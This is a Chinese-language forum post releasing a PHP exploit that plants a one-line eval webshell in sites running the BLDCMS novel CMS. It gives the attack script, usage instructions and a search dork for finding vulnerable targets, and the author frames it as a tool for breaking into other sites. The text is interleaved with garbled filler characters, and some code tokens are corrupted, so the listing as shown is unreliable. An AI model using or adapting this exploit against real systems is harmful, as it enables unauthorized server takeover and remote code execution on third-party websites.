BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞


1 |2 T2 f8 y7 T2 T) f, ?. H) |) z话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
/ N5 [$ L) W* m* e1 n
既然都有人发了 我就把我之前写好的EXP放出来吧

1 b4 F4 P2 Y. @* u5 hview source print?01.php;">
02.<!--?php
03.echo "-------------------------------------------------------------------
7 [8 E; U" M: ?- o/ i04.
; m# v1 o7 ]* }$ T+ ]  t7 a" H! Y5 d05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
2 k" f; y: s% L" i  m% C  S. a08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
4 `. A# v- \5 N) _/ Y" B12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
. V5 b$ W! D/ w5 M8 J2 T15.
* n- x" ]! I4 s% a16.--------------------------------------------------------------------\r\n";
! M; E2 A  }) U/ J* P& e0 s17.$url=$argv[1];
# T5 u2 ]0 y- L; s3 ?: p18.$dir=$argv[2];
19.$pass=$argv[3];
$ ?% s, z/ J0 D2 E6 E20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
" f( Y! b4 C+ l* N$ U0 g. v; Q22.{exit("请输入参数");}
23.else
24.{
& W% u/ v$ z. o7 V25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
# N: M3 d+ N( e26.
27.al;
28.$length = strlen($fuckdata);
- V; d# t, H4 R' c1 U29.function getshell($url,$pass)
$ b/ r3 O% ~* q0 \2 d/ P8 z30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
0 s4 k' v$ m$ S! F6 x35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
( E* r& }  t" M' _2 Q0 ?9 M39.$header .= $fuckdata."\r\n\r\n";
& Y3 Y! j% l( o4 A) N40.$fp = fsockopen($url, 80,$errno,$errstr,15);
4 k% n/ |% L  ?9 p$ s; E, ~41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
+ Q  |- q1 r) W) j  X' @$ X0 H45.else{ if (!fputs($fp,$header))
/ ~/ ~% q% y1 {2 C46.{exit ("利用失败");}
47.else
8 e# ^1 }0 `) Z# o6 N  B) w48.{
% x! L: p3 `, D) ?2 F49.$receive = '';
) @8 u  O+ ~+ G8 T% F$ _50.while (!feof($fp)) {
, G) B: e0 K$ @7 W7 ?51.$receive .= @fgets($fp, 1000);
" P: v( i  m4 j3 H/ w52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
56.GPC是否=off)";
57.}}
58.}
" R; w( \. p9 V59.}
60.getshell($url,$pass);
61.?-->
8 I2 R) ^4 j4 O# {
, ]# A+ ?- U6 I/ ^% g( e

by 数据流